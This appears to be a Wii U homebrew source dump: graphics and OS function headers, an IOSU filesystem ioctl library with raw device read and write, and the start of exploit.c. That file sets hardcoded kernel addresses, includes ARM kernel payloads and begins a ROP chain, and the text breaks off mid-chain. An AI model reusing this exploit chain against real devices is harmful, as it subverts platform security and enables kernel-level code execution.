poly_offset_back, s32 point_line_offset); 88 | extern void (* GX2SetCullOnlyControl)(s32 front_face_mode, s32 cull_front, s32 cull_back); 89 | extern void (* GX2SetDepthStencilControl)(s32 enable_depth_test, s32 enable_depth_write, s32 depth_comp_function, s32 stencil_test_enable, s32 back_stencil_enable, 90 | s32 font_stencil_func, s32 front_stencil_z_pass, s32 front_stencil_z_fail, s32 front_stencil_fail, 91 | s32 back_stencil_func, s32 back_stencil_z_pass, s32 back_stencil_z_fail, s32 back_stencil_fail); 92 | extern void (* GX2SetStencilMask)(u8 mask_front, u8 write_mask_front, u8 ref_front, u8 mask_back, u8 write_mask_back, u8 ref_back); 93 | extern void (* GX2SetLineWidth)(f32 width); 94 | extern void (* GX2SetTVGamma)(f32 val); 95 | extern void (* GX2SetDRCGamma)(f32 val); 96 | extern s32 (* GX2GetSystemTVScanMode)(void); 97 | extern s32 (* GX2GetSystemDRCScanMode)(void); 98 | extern void (* GX2RSetAllocator)(void * (*allocFunc)(u32, u32, u32), void (*freeFunc)(u32, void*)); 99 | 100 | static inline void GX2InitDepthBuffer(GX2DepthBuffer *depthBuffer, s32 dimension, u32 width, u32 height, u32 depth, s32 format, s32 aa) 101 | { 102 | depthBuffer->surface.dimension = dimension; 103 | depthBuffer->surface.width = width; 104 | depthBuffer->surface.height = height; 105 | depthBuffer->surface.depth = depth; 106 | depthBuffer->surface.num_mips = 1; 107 | depthBuffer->surface.format = format; 108 | depthBuffer->surface.aa = aa; 109 | depthBuffer->surface.use = ((format==GX2_SURFACE_FORMAT_D_D24_S8_UNORM) || (format==GX2_SURFACE_FORMAT_D_D24_S8_FLOAT)) ? GX2_SURFACE_USE_DEPTH_BUFFER : GX2_SURFACE_USE_DEPTH_BUFFER_TEXTURE; 110 | depthBuffer->surface.tile = GX2_TILE_MODE_DEFAULT; 111 | depthBuffer->surface.swizzle = 0; 112 | depthBuffer->view_mip = 0; 113 | depthBuffer->view_first_slice = 0; 114 | depthBuffer->view_slices_count = depth; 115 | depthBuffer->clear_depth = 1.0f; 116 | depthBuffer->clear_stencil = 0; 117 | depthBuffer->hiZ_data = NULL; 118 | depthBuffer->hiZ_size = 0; 119 | GX2CalcSurfaceSizeAndAlignment(&depthBuffer->surface); 120 | GX2InitDepthBufferRegs(depthBuffer); 121 | } 122 | 123 | static inline void GX2InitColorBuffer(GX2ColorBuffer *colorBuffer, s32 dimension, u32 width, u32 height, u32 depth, s32 format, s32 aa) 124 | { 125 | colorBuffer->surface.dimension = dimension; 126 | colorBuffer->surface.width = width; 127 | colorBuffer->surface.height = height; 128 | colorBuffer->surface.depth = depth; 129 | colorBuffer->surface.num_mips = 1; 130 | colorBuffer->surface.format = format; 131 | colorBuffer->surface.aa = aa; 132 | colorBuffer->surface.use = GX2_SURFACE_USE_COLOR_BUFFER_TEXTURE_FTV; 133 | colorBuffer->surface.image_size = 0; 134 | colorBuffer->surface.image_data = NULL; 135 | colorBuffer->surface.mip_size = 0; 136 | colorBuffer->surface.mip_data = NULL; 137 | colorBuffer->surface.tile = GX2_TILE_MODE_DEFAULT; 138 | colorBuffer->surface.swizzle = 0; 139 | colorBuffer->surface.align = 0; 140 | colorBuffer->surface.pitch = 0; 141 | u32 i; 142 | for(i = 0; i < 13; i++) 143 | colorBuffer->surface.mip_offset[i] = 0; 144 | colorBuffer->view_mip = 0; 145 | colorBuffer->view_first_slice = 0; 146 | colorBuffer->view_slices_count = depth; 147 | colorBuffer->aux_data = NULL; 148 | colorBuffer->aux_size = 0; 149 | for(i = 0; i < 5; i++) 150 | colorBuffer->regs[i] = 0; 151 | 152 | GX2CalcSurfaceSizeAndAlignment(&colorBuffer->surface); 153 | GX2InitColorBufferRegs(colorBuffer); 154 | } 155 | 156 | static inline void GX2InitAttribStream(GX2AttribStream* attr, u32 location, u32 buffer, u32 offset, s32 format) 157 | { 158 | attr->location = location; 159 | attr->buffer = buffer; 160 | attr->offset = offset; 161 | attr->format = format; 162 | attr->index_type = 0; 163 | attr->divisor = 0; 164 | attr->destination_selector = attribute_dest_comp_selector[format & 0xff]; 165 | attr->endian_swap = GX2_ENDIANSWAP_DEFAULT; 166 | } 167 | 168 | static inline void GX2InitTexture(GX2Texture *tex, u32 width, u32 height, u32 depth, u32 num_mips, s32 format, s32 dimension, s32 tile) 169 | { 170 | tex->surface.dimension = dimension; 171 | tex->surface.width = width; 172 | tex->surface.height = height; 173 | tex->surface.depth = depth; 174 | tex->surface.num_mips = num_mips; 175 | tex->surface.format = format; 176 | tex->surface.aa = GX2_AA_MODE_1X; 177 | tex->surface.use = GX2_SURFACE_USE_TEXTURE; 178 | tex->surface.image_size = 0; 179 | tex->surface.image_data = NULL; 180 | tex->surface.mip_size = 0; 181 | tex->surface.mip_data = NULL; 182 | tex->surface.tile = tile; 183 | tex->surface.swizzle = 0; 184 | tex->surface.align = 0; 185 | tex->surface.pitch = 0; 186 | u32 i; 187 | for(i = 0; i < 13; i++) 188 | tex->surface.mip_offset[i] = 0; 189 | tex->view_first_mip = 0; 190 | tex->view_mips_count = num_mips; 191 | tex->view_first_slice = 0; 192 | tex->view_slices_count = depth; 193 | tex->component_selector = texture_comp_selector[format & 0x3f]; 194 | for(i = 0; i < 5; i++) 195 | tex->regs[i] = 0; 196 | 197 | GX2CalcSurfaceSizeAndAlignment(&tex->surface); 198 | GX2InitTextureRegs(tex); 199 | } 200 | 201 | #ifdef __cplusplus 202 | } 203 | #endif 204 | 205 | #endif // __GX2_FUNCTIONS_H_ 206 | -------------------------------------------------------------------------------- /src/dynamic_libs/os_functions.h: -------------------------------------------------------------------------------- 1 | /**************************************************************************** 2 | * Copyright (C) 2015 3 | * by Dimok 4 | * 5 | * This software is provided 'as-is', without any express or implied 6 | * warranty. In no event will the authors be held liable for any 7 | * damages arising from the use of this software. 8 | * 9 | * Permission is granted to anyone to use this software for any 10 | * purpose, including commercial applications, and to alter it and 11 | * redistribute it freely, subject to the following restrictions: 12 | * 13 | * 1. The origin of this software must not be misrepresented; you 14 | * must not claim that you wrote the original software. If you use 15 | * this software in a product, an acknowledgment in the product 16 | * documentation would be appreciated but is not required. 17 | * 18 | * 2. Altered source versions must be plainly marked as such, and 19 | * must not be misrepresented as being the original software. 20 | * 21 | * 3. This notice may not be removed or altered from any source 22 | * distribution. 23 | ***************************************************************************/ 24 | #ifndef __OS_FUNCTIONS_H_ 25 | #define __OS_FUNCTIONS_H_ 26 | 27 | #include 28 | #include "common/os_defs.h" 29 | 30 | #ifdef __cplusplus 31 | extern "C" { 32 | #endif 33 | 34 | #define BUS_SPEED 248625000 35 | #define SECS_TO_TICKS(sec) (((unsigned long long)(sec)) * (BUS_SPEED/4)) 36 | #define MILLISECS_TO_TICKS(msec) (SECS_TO_TICKS(msec) / 1000) 37 | #define MICROSECS_TO_TICKS(usec) (SECS_TO_TICKS(usec) / 1000000) 38 | 39 | #define usleep(usecs) OSSleepTicks(MICROSECS_TO_TICKS(usecs)) 40 | #define sleep(secs) OSSleepTicks(SECS_TO_TICKS(secs)) 41 | 42 | #define FLUSH_DATA_BLOCK(addr) asm volatile("dcbf 0, %0; sync" : : "r"(((addr) & ~31))) 43 | #define INVAL_DATA_BLOCK(addr) asm volatile("dcbi 0, %0; sync" : : "r"(((addr) & ~31))) 44 | 45 | #define EXPORT_DECL(res, func, ...) res (* func)(__VA_ARGS__) __attribute__((section(".data"))) = 0; 46 | #define EXPORT_VAR(type, var) type var __attribute__((section(".data"))); 47 | 48 | 49 | #define EXPORT_FUNC_WRITE(func, val) *(u32*)(((u32)&func) + 0) = (u32)val 50 | 51 | #define OS_FIND_EXPORT(handle, func) funcPointer = 0; \ 52 | OSDynLoad_FindExport(handle, 0, # func, &funcPointer); \ 53 | if(!funcPointer) \ 54 | OSFatal("Function " # func " is NULL"); \ 55 | EXPORT_FUNC_WRITE(func, funcPointer); 56 | 57 | #define OS_FIND_EXPORT_EX(handle, func, func_p) \ 58 | funcPointer = 0; \ 59 | OSDynLoad_FindExport(handle, 0, # func, &funcPointer); \ 60 | if(!funcPointer) \ 61 | OSFatal("Function " # func " is NULL"); \ 62 | EXPORT_FUNC_WRITE(func_p, funcPointer); 63 | 64 | #define OS_MUTEX_SIZE 44 65 | 66 | /* Handle for coreinit */ 67 | extern unsigned int coreinit_handle; 68 | void InitOSFunctionPointers(void); 69 | void InitAcquireOS(void); 70 | 71 | //!---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- 72 | //! Lib handle functions 73 | //!---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- 74 | extern int (* OSDynLoad_Acquire)(const char* rpl, u32 *handle); 75 | extern int (* OSDynLoad_FindExport)(u32 handle, int isdata, const char *symbol, void *address); 76 | 77 | //!---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- 78 | //! Security functions 79 | //!---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- 80 | extern int (* OSGetSecurityLevel)(void); 81 | extern int (* OSForceFullRelaunch)(void); 82 | 83 | //!---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- 84 | //! Thread functions 85 | //!---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- 86 | extern int (* OSCreateThread)(void *thread, s32 (*callback)(s32, void*), s32 argc, void *args, u32 stack, u32 stack_size, s32 priority, u32 attr); 87 | extern int (* OSResumeThread)(void *thread); 88 | extern int (* OSSuspendThread)(void *thread); 89 | extern int (* OSIsThreadTerminated)(void *thread); 90 | extern int (* OSIsThreadSuspended)(void *thread); 91 | extern int (* OSJoinThread)(void * thread, int * ret_val); 92 | extern int (* OSSetThreadPriority)(void * thread, int priority); 93 | extern void (* OSDetachThread)(void * thread); 94 | extern void (* OSSleepTicks)(u64 ticks); 95 | extern u64 (* OSGetTick)(void); 96 | extern u64 (* OSGetTime)(void); 97 | //extern void (*OSTicksToCalendarTime)(u64 time, OSCalendarTime *calendarTime); 98 | 99 | //!---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- 100 | //! Mutex functions 101 | //!---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- 102 | extern void (* OSInitMutex)(void* mutex); 103 | extern void (* OSLockMutex)(void* mutex); 104 | extern void (* OSUnlockMutex)(void* mutex); 105 | extern int (* OSTryLockMutex)(void* mutex); 106 | 107 | //!---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- 108 | //! System functions 109 | //!---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- 110 | extern u64 (* OSGetTitleID)(void); 111 | extern void (* OSGetArgcArgv)(int* argc, char*** argv); 112 | extern void (* __Exit)(void); 113 | extern void (* OSFatal)(const char* msg); 114 | extern void (* DCFlushRange)(const void *addr, u32 length); 115 | extern void (* DCStoreRange)(const void *addr, u32 length); 116 | extern void (* ICInvalidateRange)(const void *addr, u32 length); 117 | extern void* (* OSEffectiveToPhysical)(const void*); 118 | extern int (* __os_snprintf)(char* s, int n, const char * format, ...); 119 | extern int * (* __gh_errno_ptr)(void); 120 | 121 | extern void (*OSScreenInit)(void); 122 | extern unsigned int (*OSScreenGetBufferSizeEx)(unsigned int bufferNum); 123 | extern int (*OSScreenSetBufferEx)(unsigned int bufferNum, void * addr); 124 | extern int (*OSScreenClearBufferEx)(unsigned int bufferNum, unsigned int temp); 125 | extern int (*OSScreenFlipBuffersEx)(unsigned int bufferNum); 126 | extern int (*OSScreenPutFontEx)(unsigned int bufferNum, unsigned int posX, unsigned int posY, const char * buffer); 127 | extern int (*OSScreenEnableEx)(unsigned int bufferNum, int enable); 128 | 129 | typedef unsigned char (*exception_callback)(void * interruptedContext); 130 | extern void (* OSSetExceptionCallback)(u8 exceptionType, exception_callback newCallback); 131 | 132 | //!---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- 133 | //! MCP functions 134 | //!---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- 135 | extern int (* MCP_Open)(void); 136 | extern int (* MCP_Close)(int handle); 137 | extern int (* MCP_GetOwnTitleInfo)(int handle, void * data); 138 | 139 | //!---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- 140 | //! LOADER functions 141 | //!---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- 142 | extern int (* LiWaitIopComplete)(int unknown_syscall_arg_r3, int * remaining_bytes); 143 | extern int (* LiWaitIopCompleteWithInterrupts)(int unknown_syscall_arg_r3, int * remaining_bytes); 144 | extern void (* addr_LiWaitOneChunk)(void); 145 | extern void (* addr_sgIsLoadingBuffer)(void); 146 | extern void (* addr_gDynloadInitialized)(void); 147 | 148 | //!---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- 149 | //! Kernel function addresses 150 | //!---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- 151 | extern void (* addr_PrepareTitle_hook)(void); 152 | 153 | //!---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- 154 | //! Other function addresses 155 | //!---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- 156 | extern void (*DCInvalidateRange)(void *buffer, uint32_t length); 157 | 158 | //!---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- 159 | //! Energy Saver functions 160 | //!---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- 161 | ////Burn-in Reduction 162 | extern int (*IMEnableDim)(void); 163 | extern int (*IMDisableDim)(void); 164 | extern int (*IMIsDimEnabled)(int * result); 165 | //Auto power down 166 | extern int (*IMEnableAPD)(void); 167 | extern int (*IMDisableAPD)(void); 168 | extern int (*IMIsAPDEnabled)(int * result); 169 | extern int (*IMIsAPDEnabledBySysSettings)(int * result); 170 | 171 | extern int (*IOS_Ioctl)(int fd, unsigned int request, void *input_buffer,unsigned int input_buffer_len, void *output_buffer, unsigned int output_buffer_len); 172 | extern int (*IOS_IoctlAsync)(int fd, unsigned int request, void *input_buffer,unsigned int input_buffer_len, void *output_buffer, unsigned int output_buffer_len, void *cb, void *cbarg); 173 | extern int (*IOS_Open)(char *path, unsigned int mode); 174 | extern int (*IOS_Close)(int fd); 175 | #ifdef __cplusplus 176 | } 177 | #endif 178 | 179 | #endif // __OS_FUNCTIONS_H_ -------------------------------------------------------------------------------- /wupserver/source/fsa.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include "svc.h" 5 | #include "imports.h" 6 | #include "fsa.h" 7 | 8 | static void* allocIobuf() 9 | { 10 | void* ptr = svcAlloc(0xCAFF, 0x828); 11 | 12 | memset(ptr, 0x00, 0x828); 13 | 14 | return ptr; 15 | } 16 | 17 | static void freeIobuf(void* ptr) 18 | { 19 | svcFree(0xCAFF, ptr); 20 | } 21 | 22 | int FSA_Mount(int fd, char* device_path, char* volume_path, u32 flags, char* arg_string, int arg_string_len) 23 | { 24 | u8* iobuf = allocIobuf(); 25 | u8* inbuf8 = iobuf; 26 | u8* outbuf8 = &iobuf[0x520]; 27 | iovec_s* iovec = (iovec_s*)&iobuf[0x7C0]; 28 | u32* inbuf = (u32*)inbuf8; 29 | u32* outbuf = (u32*)outbuf8; 30 | 31 | strncpy((char*)&inbuf8[0x04], device_path, 0x27F); 32 | strncpy((char*)&inbuf8[0x284], volume_path, 0x27F); 33 | inbuf[0x504 / 4] = (u32)flags; 34 | inbuf[0x508 / 4] = (u32)arg_string_len; 35 | 36 | iovec[0].ptr = inbuf; 37 | iovec[0].len = 0x520; 38 | iovec[1].ptr = arg_string; 39 | iovec[1].len = arg_string_len; 40 | iovec[2].ptr = outbuf; 41 | iovec[2].len = 0x293; 42 | 43 | int ret = svcIoctlv(fd, 0x01, 2, 1, iovec); 44 | 45 | freeIobuf(iobuf); 46 | return ret; 47 | } 48 | 49 | int FSA_Unmount(int fd, char* path, u32 flags) 50 | { 51 | u8* iobuf = allocIobuf(); 52 | u32* inbuf = (u32*)iobuf; 53 | u32* outbuf = (u32*)&iobuf[0x520]; 54 | 55 | strncpy((char*)&inbuf[0x01], path, 0x27F); 56 | inbuf[0x284 / 4] = flags; 57 | 58 | int ret = svcIoctl(fd, 0x02, inbuf, 0x520, outbuf, 0x293); 59 | 60 | freeIobuf(iobuf); 61 | return ret; 62 | } 63 | 64 | int FSA_FlushVolume(int fd, char* volume_path) 65 | { 66 | u8* iobuf = allocIobuf(); 67 | u32* inbuf = (u32*)iobuf; 68 | u32* outbuf = (u32*)&iobuf[0x520]; 69 | 70 | strncpy((char*)&inbuf[0x01], volume_path, 0x27F); 71 | 72 | int ret = svcIoctl(fd, 0x1B, inbuf, 0x520, outbuf, 0x293); 73 | 74 | freeIobuf(iobuf); 75 | return ret; 76 | } 77 | 78 | int FSA_MakeDir(int fd, char* path, u32 flags) 79 | { 80 | u8* iobuf = allocIobuf(); 81 | u32* inbuf = (u32*)iobuf; 82 | u32* outbuf = (u32*)&iobuf[0x520]; 83 | 84 | strncpy((char*)&inbuf[0x01], path, 0x27F); 85 | inbuf[0x284 / 4] = flags; 86 | 87 | int ret = svcIoctl(fd, 0x07, inbuf, 0x520, outbuf, 0x293); 88 | 89 | freeIobuf(iobuf); 90 | return ret; 91 | } 92 | 93 | int FSA_OpenDir(int fd, char* path, int* outHandle) 94 | { 95 | u8* iobuf = allocIobuf(); 96 | u32* inbuf = (u32*)iobuf; 97 | u32* outbuf = (u32*)&iobuf[0x520]; 98 | 99 | strncpy((char*)&inbuf[0x01], path, 0x27F); 100 | 101 | int ret = svcIoctl(fd, 0x0A, inbuf, 0x520, outbuf, 0x293); 102 | 103 | if(outHandle) *outHandle = outbuf[1]; 104 | 105 | freeIobuf(iobuf); 106 | return ret; 107 | } 108 | 109 | int FSA_ReadDir(int fd, int handle, directoryEntry_s* out_data) 110 | { 111 | u8* iobuf = allocIobuf(); 112 | u32* inbuf = (u32*)iobuf; 113 | u32* outbuf = (u32*)&iobuf[0x520]; 114 | 115 | inbuf[1] = handle; 116 | 117 | int ret = svcIoctl(fd, 0x0B, inbuf, 0x520, outbuf, 0x293); 118 | 119 | if(out_data) memcpy(out_data, &outbuf[1], sizeof(directoryEntry_s)); 120 | 121 | freeIobuf(iobuf); 122 | return ret; 123 | } 124 | 125 | int FSA_RewindDir(int fd, int handle) 126 | { 127 | u8* iobuf = allocIobuf(); 128 | u32* inbuf = (u32*)iobuf; 129 | u32* outbuf = (u32*)&iobuf[0x520]; 130 | 131 | inbuf[1] = handle; 132 | 133 | int ret = svcIoctl(fd, 0x0C, inbuf, 0x520, outbuf, 0x293); 134 | 135 | freeIobuf(iobuf); 136 | return ret; 137 | } 138 | 139 | int FSA_CloseDir(int fd, int handle) 140 | { 141 | u8* iobuf = allocIobuf(); 142 | u32* inbuf = (u32*)iobuf; 143 | u32* outbuf = (u32*)&iobuf[0x520]; 144 | 145 | inbuf[1] = handle; 146 | 147 | int ret = svcIoctl(fd, 0x0D, inbuf, 0x520, outbuf, 0x293); 148 | 149 | freeIobuf(iobuf); 150 | return ret; 151 | } 152 | 153 | int FSA_ChangeDir(int fd, char* path) 154 | { 155 | u8* iobuf = allocIobuf(); 156 | u32* inbuf = (u32*)iobuf; 157 | u32* outbuf = (u32*)&iobuf[0x520]; 158 | 159 | strncpy((char*)&inbuf[0x01], path, 0x27F); 160 | 161 | int ret = svcIoctl(fd, 0x05, inbuf, 0x520, outbuf, 0x293); 162 | 163 | freeIobuf(iobuf); 164 | return ret; 165 | } 166 | 167 | int FSA_OpenFile(int fd, char* path, char* mode, int* outHandle) 168 | { 169 | u8* iobuf = allocIobuf(); 170 | u32* inbuf = (u32*)iobuf; 171 | u32* outbuf = (u32*)&iobuf[0x520]; 172 | 173 | strncpy((char*)&inbuf[0x01], path, 0x27F); 174 | strncpy((char*)&inbuf[0xA1], mode, 0x10); 175 | 176 | int ret = svcIoctl(fd, 0x0E, inbuf, 0x520, outbuf, 0x293); 177 | 178 | if(outHandle) *outHandle = outbuf[1]; 179 | 180 | freeIobuf(iobuf); 181 | return ret; 182 | } 183 | 184 | int _FSA_ReadWriteFile(int fd, void* data, u32 size, u32 cnt, int fileHandle, u32 flags, bool read) 185 | { 186 | u8* iobuf = allocIobuf(); 187 | u8* inbuf8 = iobuf; 188 | u8* outbuf8 = &iobuf[0x520]; 189 | iovec_s* iovec = (iovec_s*)&iobuf[0x7C0]; 190 | u32* inbuf = (u32*)inbuf8; 191 | u32* outbuf = (u32*)outbuf8; 192 | 193 | inbuf[0x08 / 4] = size; 194 | inbuf[0x0C / 4] = cnt; 195 | inbuf[0x14 / 4] = fileHandle; 196 | inbuf[0x18 / 4] = flags; 197 | 198 | iovec[0].ptr = inbuf; 199 | iovec[0].len = 0x520; 200 | 201 | iovec[1].ptr = data; 202 | iovec[1].len = size * cnt; 203 | 204 | iovec[2].ptr = outbuf; 205 | iovec[2].len = 0x293; 206 | 207 | int ret; 208 | if(read) ret = svcIoctlv(fd, 0x0F, 1, 2, iovec); 209 | else ret = svcIoctlv(fd, 0x10, 2, 1, iovec); 210 | 211 | freeIobuf(iobuf); 212 | return ret; 213 | } 214 | 215 | int FSA_ReadFile(int fd, void* data, u32 size, u32 cnt, int fileHandle, u32 flags) 216 | { 217 | return _FSA_ReadWriteFile(fd, data, size, cnt, fileHandle, flags, true); 218 | } 219 | 220 | int FSA_WriteFile(int fd, void* data, u32 size, u32 cnt, int fileHandle, u32 flags) 221 | { 222 | return _FSA_ReadWriteFile(fd, data, size, cnt, fileHandle, flags, false); 223 | } 224 | 225 | int FSA_StatFile(int fd, int handle, fileStat_s* out_data) 226 | { 227 | u8* iobuf = allocIobuf(); 228 | u32* inbuf = (u32*)iobuf; 229 | u32* outbuf = (u32*)&iobuf[0x520]; 230 | 231 | inbuf[1] = handle; 232 | 233 | int ret = svcIoctl(fd, 0x14, inbuf, 0x520, outbuf, 0x293); 234 | 235 | if(out_data) memcpy(out_data, &outbuf[1], sizeof(fileStat_s)); 236 | 237 | freeIobuf(iobuf); 238 | return ret; 239 | } 240 | 241 | int FSA_CloseFile(int fd, int fileHandle) 242 | { 243 | u8* iobuf = allocIobuf(); 244 | u32* inbuf = (u32*)iobuf; 245 | u32* outbuf = (u32*)&iobuf[0x520]; 246 | 247 | inbuf[1] = fileHandle; 248 | 249 | int ret = svcIoctl(fd, 0x15, inbuf, 0x520, outbuf, 0x293); 250 | 251 | freeIobuf(iobuf); 252 | return ret; 253 | } 254 | 255 | int FSA_SetPosFile(int fd, int fileHandle, u32 position) 256 | { 257 | u8* iobuf = allocIobuf(); 258 | u32* inbuf = (u32*)iobuf; 259 | u32* outbuf = (u32*)&iobuf[0x520]; 260 | 261 | inbuf[1] = fileHandle; 262 | inbuf[2] = position; 263 | 264 | int ret = svcIoctl(fd, 0x12, inbuf, 0x520, outbuf, 0x293); 265 | 266 | freeIobuf(iobuf); 267 | return ret; 268 | } 269 | 270 | int FSA_GetStat(int fd, char *path, fileStat_s* out_data) 271 | { 272 | u8* iobuf = allocIobuf(); 273 | u32* inbuf = (u32*)iobuf; 274 | u32* outbuf = (u32*)&iobuf[0x520]; 275 | 276 | strncpy((char*)&inbuf[0x01], path, 0x27F); 277 | inbuf[0x284/4] = 5; 278 | 279 | int ret = svcIoctl(fd, 0x18, inbuf, 0x520, outbuf, 0x293); 280 | 281 | if(out_data) memcpy(out_data, &outbuf[1], sizeof(fileStat_s)); 282 | 283 | freeIobuf(iobuf); 284 | return ret; 285 | } 286 | 287 | int FSA_Remove(int fd, char *path) 288 | { 289 | u8* iobuf = allocIobuf(); 290 | u32* inbuf = (u32*)iobuf; 291 | u32* outbuf = (u32*)&iobuf[0x520]; 292 | 293 | strncpy((char*)&inbuf[0x01], path, 0x27F); 294 | 295 | int ret = svcIoctl(fd, 0x08, inbuf, 0x520, outbuf, 0x293); 296 | 297 | freeIobuf(iobuf); 298 | return ret; 299 | } 300 | 301 | int FSA_ChangeMode(int fd, char *path, int mode) 302 | { 303 | u8* iobuf = allocIobuf(); 304 | u32* inbuf = (u32*)iobuf; 305 | u32* outbuf = (u32*)&iobuf[0x520]; 306 | 307 | strncpy((char*)&inbuf[0x01], path, 0x27F); 308 | inbuf[0x284/4] = mode; 309 | inbuf[0x288/4] = 0x777; // mask 310 | 311 | int ret = svcIoctl(fd, 0x20, inbuf, 0x520, outbuf, 0x293); 312 | 313 | freeIobuf(iobuf); 314 | return ret; 315 | } 316 | 317 | // type 4 : 318 | // 0x08 : device size in sectors (u64) 319 | // 0x10 : device sector size (u32) 320 | int FSA_GetDeviceInfo(int fd, char* device_path, int type, u32* out_data) 321 | { 322 | u8* iobuf = allocIobuf(); 323 | u32* inbuf = (u32*)iobuf; 324 | u32* outbuf = (u32*)&iobuf[0x520]; 325 | 326 | strncpy((char*)&inbuf[0x01], device_path, 0x27F); 327 | inbuf[0x284 / 4] = type; 328 | 329 | int ret = svcIoctl(fd, 0x18, inbuf, 0x520, outbuf, 0x293); 330 | 331 | int size = 0; 332 | 333 | switch(type) 334 | { 335 | case 0: case 1: case 7: 336 | size = 0x8; 337 | break; 338 | case 2: 339 | size = 0x4; 340 | break; 341 | case 3: 342 | size = 0x1E; 343 | break; 344 | case 4: 345 | size = 0x28; 346 | break; 347 | case 5: 348 | size = 0x64; 349 | break; 350 | case 6: case 8: 351 | size = 0x14; 352 | break; 353 | } 354 | 355 | memcpy(out_data, &outbuf[1], size); 356 | 357 | freeIobuf(iobuf); 358 | return ret; 359 | } 360 | 361 | int FSA_RawOpen(int fd, char* device_path, int* outHandle) 362 | { 363 | u8* iobuf = allocIobuf(); 364 | u32* inbuf = (u32*)iobuf; 365 | u32* outbuf = (u32*)&iobuf[0x520]; 366 | 367 | strncpy((char*)&inbuf[0x01], device_path, 0x27F); 368 | 369 | int ret = svcIoctl(fd, 0x6A, inbuf, 0x520, outbuf, 0x293); 370 | 371 | if(outHandle) *outHandle = outbuf[1]; 372 | 373 | freeIobuf(iobuf); 374 | return ret; 375 | } 376 | 377 | int FSA_RawClose(int fd, int device_handle) 378 | { 379 | u8* iobuf = allocIobuf(); 380 | u32* inbuf = (u32*)iobuf; 381 | u32* outbuf = (u32*)&iobuf[0x520]; 382 | 383 | inbuf[1] = device_handle; 384 | 385 | int ret = svcIoctl(fd, 0x6D, inbuf, 0x520, outbuf, 0x293); 386 | 387 | freeIobuf(iobuf); 388 | return ret; 389 | } 390 | 391 | // offset in blocks of 0x1000 bytes 392 | int FSA_RawRead(int fd, void* data, u32 size_bytes, u32 cnt, u64 blocks_offset, int device_handle) 393 | { 394 | u8* iobuf = allocIobuf(); 395 | u8* inbuf8 = iobuf; 396 | u8* outbuf8 = &iobuf[0x520]; 397 | iovec_s* iovec = (iovec_s*)&iobuf[0x7C0]; 398 | u32* inbuf = (u32*)inbuf8; 399 | u32* outbuf = (u32*)outbuf8; 400 | 401 | // note : offset_bytes = blocks_offset * size_bytes 402 | inbuf[0x08 / 4] = (blocks_offset >> 32); 403 | inbuf[0x0C / 4] = (blocks_offset & 0xFFFFFFFF); 404 | inbuf[0x10 / 4] = cnt; 405 | inbuf[0x14 / 4] = size_bytes; 406 | inbuf[0x18 / 4] = device_handle; 407 | 408 | iovec[0].ptr = inbuf; 409 | iovec[0].len = 0x520; 410 | 411 | iovec[1].ptr = data; 412 | iovec[1].len = size_bytes * cnt; 413 | 414 | iovec[2].ptr = outbuf; 415 | iovec[2].len = 0x293; 416 | 417 | int ret = svcIoctlv(fd, 0x6B, 1, 2, iovec); 418 | 419 | freeIobuf(iobuf); 420 | return ret; 421 | } 422 | 423 | int FSA_RawWrite(int fd, void* data, u32 size_bytes, u32 cnt, u64 blocks_offset, int device_handle) 424 | { 425 | u8* iobuf = allocIobuf(); 426 | u8* inbuf8 = iobuf; 427 | u8* outbuf8 = &iobuf[0x520]; 428 | iovec_s* iovec = (iovec_s*)&iobuf[0x7C0]; 429 | u32* inbuf = (u32*)inbuf8; 430 | u32* outbuf = (u32*)outbuf8; 431 | 432 | inbuf[0x08 / 4] = (blocks_offset >> 32); 433 | inbuf[0x0C / 4] = (blocks_offset & 0xFFFFFFFF); 434 | inbuf[0x10 / 4] = cnt; 435 | inbuf[0x14 / 4] = size_bytes; 436 | inbuf[0x18 / 4] = device_handle; 437 | 438 | iovec[0].ptr = inbuf; 439 | iovec[0].len = 0x520; 440 | 441 | iovec[1].ptr = data; 442 | iovec[1].len = size_bytes * cnt; 443 | 444 | iovec[2].ptr = outbuf; 445 | iovec[2].len = 0x293; 446 | 447 | int ret = svcIoctlv(fd, 0x6C, 2, 1, iovec); 448 | 449 | freeIobuf(iobuf); 450 | return ret; 451 | } 452 | -------------------------------------------------------------------------------- /src/exploit.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include "dynamic_libs/os_functions.h" 4 | #include "exploit.h" 5 | 6 | #define CHAIN_START 0x1016AD40 7 | #define SHUTDOWN 0x1012EE4C 8 | #define SIMPLE_RETURN 0x101014E4 9 | #define SOURCE 0x01E20000 10 | #define IOS_CREATETHREAD 0x1012EABC 11 | #define ARM_CODE_BASE 0x08134100 12 | #define REPLACE_SYSCALL 0x081298BC 13 | 14 | /* YOUR ARM CODE HERE (starts at ARM_CODE_BASE) */ 15 | #include "../payload/arm_kernel_bin.h" 16 | #include "../payload/arm_user_bin.h" 17 | 18 | /* ROP CHAIN STARTS HERE (0x1015BD78) */ 19 | static const int final_chain[] = { 20 | 0x101236f3, // 0x00 POP {R1-R7,PC} 21 | 0x0, // 0x04 arg 22 | 0x0812974C, // 0x08 stackptr CMP R3, #1; STREQ R1, [R12]; BX LR 23 | 0x68, // 0x0C stacksize 24 | 0x10101638, // 0x10 25 | 0x0, // 0x14 26 | 0x0, // 0x18 27 | 0x0, // 0x1C 28 | 0x1010388C, // 0x20 CMP R3, #0; MOV R0, R4; LDMNEFD SP!, {R4,R5,PC} 29 | 0x0, // 0x24 30 | 0x0, // 0x28 31 | 0x1012CFEC, // 0x2C MOV LR, R0; MOV R0, LR; ADD SP, SP, #8; 